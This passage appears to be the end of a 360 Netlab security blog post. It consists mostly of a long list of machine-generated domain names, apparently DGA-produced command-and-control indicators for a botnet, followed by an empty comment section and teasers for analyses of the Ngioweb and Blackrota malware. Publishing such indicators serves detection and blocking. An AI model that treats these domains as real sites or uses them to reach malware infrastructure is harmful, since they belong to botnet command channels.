probekohodom-transohimument.info  
multivamision-unabizable-minivifebusion.net  
emeceazufing.biz  
enofelary.net  
antivizodidom-underozivuzal.org  
semiragotion.biz  
ultrataconess-microrogotion.info

ultrahezuveth-nonivocify-unenokith.com  
emeciritize.info  
minirahision-iroficecic.name  
macrofiturive-disabotous-misuxoxoward.com  
unimeceth-antifexaty-dexevexoth.net  
imuzifuship-antixutoless.name  
overumudukist-microfahuhation-undericozist.net  
proviburaty-disadufezaal.com  
imonoroship.net  
pretohihotion-macroxerameness-irekiboward.net  
unaxadumer-ilufitary.com  
subigecilike-reminussion.info  
overikelirern.com  
emohinan-overekirenion.org  
antisizaly-transecegeety.name  
ilomirism.com  
microsuression-ultrabumutive-transisapussion.biz  
overorohokic-pretezacian-misilefusion.org  
monoxatocan-imavitulency-eniguboring.net  
unuzugable.biz  
postiduvern.org  
micromomabed-semikikefage.net  
antimineful-interanosotion-transulicate.com  
renavilaty.biz  
multigidumable-disfezage-irebekency.name  
inugecism.org  
ememozian-interapurossion.info  
ilecevish.org  
antihusiment-macrovarilision-semisoxument.name  
minixecumoward-antibevunely.biz  
macroguzofy-exuluparical.name  
postutasian-emosolosor.name  
macromagehood-exarexofion-depetihood.com  
misipivixency-transerezucing-monobegofassion.biz  
ilizehidom.name  
ultrafaruhood-prohudodom-overatopument.info  
enurudition-multigidohood-exorovusion.com  
misenataness-antifupition.info  
cosefuness-antikufeputy-transenuvous.net  
prexubupossion.name  
ultranucopite-multifevuship.net  
profahudom-ultraxediship.org  
prexevaldom.biz  
transipekal.org  
monogixition.info  
overuledite-misokorism-enetunan.net  
rezobucous-prodotaly-ultraleveward.org  
imogugomed-ultradomukaship-prodezavadom.info  
ultranotohood-mononuzocation-minipariveness.org  
monovuvecish-monohedonaless-ultramurahuship.org  
subanomigate-underogozeful.info  
ultrafohuward-imuheber-interasiririze.net  
imuhuxoth-misefatasive.biz

transosurugen-nonumovern-macroxanulike.org  
unofafuhood-misasusomism.biz  
enuvahion-nonelipical-interolugor.org  
suboserite-underuxafakous-subatihoward.com  
prepamovary-ireshapefy-emagabive.name  
interafuxession-delosorolike.com  
unixagihood.com  
unasodatite-overugasist-semivobuduty.info  
macrovafith.com  
ematogafible-interaxologor-iregiding.info  
derivacing-iloxehful-inecemmed.org  
microseboful-transebisation-degokition.biz  
postorabity-miselugific-minizahiward.com  
monokacily.name  
underucotal-monobunedoless-minikulify.net  
receziless-ultradasify-prefazofish.org  
monolalession.name  
underizonedom-macropodavuhood.net  
misopoval.name  
underivadant-semibofixoty.info  
minipeboxing-deracocify.biz  
overumakency-prekozulure.com  
exufifision.com  
prezalehaly.info  
dekasafy-imevinupable.info  
coviviship-pronehaless.info  
ultratovibuhood-microburodom.info  
underucebohical.net  
antitegabussion-devumuth-revexorical.com  
iritukan-interatadite-misafegoth.com  
semibizolument-underotaxive.net  
misilaracal-minisomudese.name  
cobevalhant-minimufocity-cotoxanoth.com  
prozapetament.info  
underumamotion-interediripite.org  
exofecukity.biz  
underusimant-unigaverical.info  
underarixogage.org  
iripabath-irecuboxible.info  
underrobomipous-imofevazancy.info  
dekegefixive-derokukith.net  
microbigukement-overazoredom.info  
postaruxanant.com  
remenutty-postexinity.org  
irohorafy-antixomafese.org  
exanisary-disomugetn-rekamaty.name  
interasupukity-emufucoship-semibumaless.info  
macronoboship-probihohodom.info  
enorasy-irenagion-underexelozer.net  
prevesuxage-prevakomous-exorovage.info  
inehegely-enolobocical.net  
iranuzulike-subibeneship-misezomor.name  
interipurusist-antimafidom-multinedisency.info

overidatrary-antikezuful-dexepovish.name  
ultrakorudath-exofabidern-cogenakulike.org  
semipodofate-misibogesion-unasobuhood.org  
emubicodency-interotupure.net  
imetocirian.biz  
underunazency-microrisover-antineheless.biz  
macrocumubohood-emukafosion-subupenure.info  
depifesion-suburinipible-interinokage.com  
unihogish.name  
minilugovefy.net  
semigakitan.net  
misuviking-transidodunate.com  
antimupacary-unixosaward.com  
imizagution-cokivaxoship-emavavism.info  
postivikism-prefuvezedom-denihuship.org  
irirecupist.biz  
cofiresary-dedidigage-multivucaness.com  
relarity-inagomese-exaderaward.net  
nonusonuth-exifaxufy.net  
subinobese-transinacibic.net  
exegudous-underitifiment.info  
multicupapize.info  
posticazalish-emedokician-transezuraless.info  
ultranepacihood.net  
unorubese-inozoficese.org  
unocacish-enoniculy.biz  
inakirission-multihigutite-dedafuleship.net  
imenazotian-ilesafance.com  
anticocacable-imonifion-interapopation.biz  
mininovition-underucuxety-transamurizancy.com  
emozonous.biz  
overofucodom-ultrafizudive-enekaconism.org  
recitofuly-multikobepofy.org  
semixexiless-ilagamic.org  
prerozunodom-interixudoment.biz  
underanipetn-imanodidible-ultraropagic.name  
multikafenoth-antiguhipassion-multilitebern.info  
ultralufetous-underecanagive.net  
semihesegite-nonilakal-postubetinese.net  
nonepitopible-overozuzate-emuxevive.name  
ultrafikuth.org  
micronixogage-prerihapian-monombession.info  
transahihancy-semizehogament.info  
minihihokuward.net  
imenipapary-inubuharist-prebemunedom.name  
disixadible-monocirecing.org  
exixefugal-inaxedoty.biz  
postunolobage-premugossion-dexokacate.name  
multizocisehood-nonulafapous.name  
ultracimosary.info  
enotufassion-minikavunous.biz  
inuhamege.net  
misulonupism.info

desemamoth-recabalible.org  
semixukehify-semihofenoment.name  
transaroran-subobukezish.name  
macrotaxigian-degoxobance-ilidilant.org  
antitamokaless-ilusulussion-inaretiless.name  
inelocument-enazobity.net  
pretetegize.com  
prosimetion-interamexish-misexesency.info  
underofogize-iruposision.com  
nonopegeker-enorefuty.info  
disokehamary.org  
unetikuhood.org  
nonisuzilant-intererevafian.org  
prenukorive-semimelekical-semixuxihement.biz  
overaxealous-misugutuhood-nonubetabate.name  
ilunomabify-unonebern-devicepart.biz  
ilegugize.org  
exofiralike-imakefebous-inomalized.com  
antidavumetn-regulanuty-inenidure.org  
exupamify-subixosoth.com  
regahagize-antitaliless-underoparossion.name  
multicefolike-antilihelite-proxunezate.com  
semimuxoment.info  
disuhosate-nonasilahood.net  
prepevation-postebixish-probunedom.info



Start the discussion...

LOG IN WITH

OR SIGN UP WITH DISQUS ?

Name



Share

Best Newest Oldest

Be the first to comment.

Subscribe

Privacy

Do Not Sell My Data

— 360 Netlab Blog - Network Security Research Lab at 360 —

## Botnet Proxy



Linux.Ngioweb变种正在攻击IOT设备

TheMoon : 一个僵尸网络的老皇历和新变种

Import 2022-11-30 11:16

## Blackrota, 一个Go 开发的高度混淆的后门

概述 最近，我们通过 Anglerfish 蜜罐捕获到一个利用 Docker Remote API 未授权访问漏洞来传播的 Go 语言编写的恶意后门程序，鉴于它上线的 C2 为 blackrota.ga，我们把它命名为 Blackrota。Blackrota 后门程序目前只有 Linux 版，为 ELF 文件格式，支持 x86/x86-64 两种 CPU 架构。Blackrota 基于 geacon 配置并编译，geacon 是一个 Go 语...

Botnet

## Linux.Ngioweb变种正在攻击IOT设备

背景介绍 2019年6月21日，我们向社区公布了一个新的Proxy Botnet，Linux.Ngioweb的分析报告。2020年8月4日，360Netlab未知威胁检测系统捕获到一批VT零检测的疑似Ngioweb的ELF文件，经分析，我们确定它们属于同一个变种，简单地将其命名为Ngioweb V2。2020年8月16日，360Netlab蜜罐系统发现攻击者陆续使用了9个Nday漏洞...

See all 2 posts →



• Nov 20, 2020 • 9 min read



Nov 12,

2020

35 min



read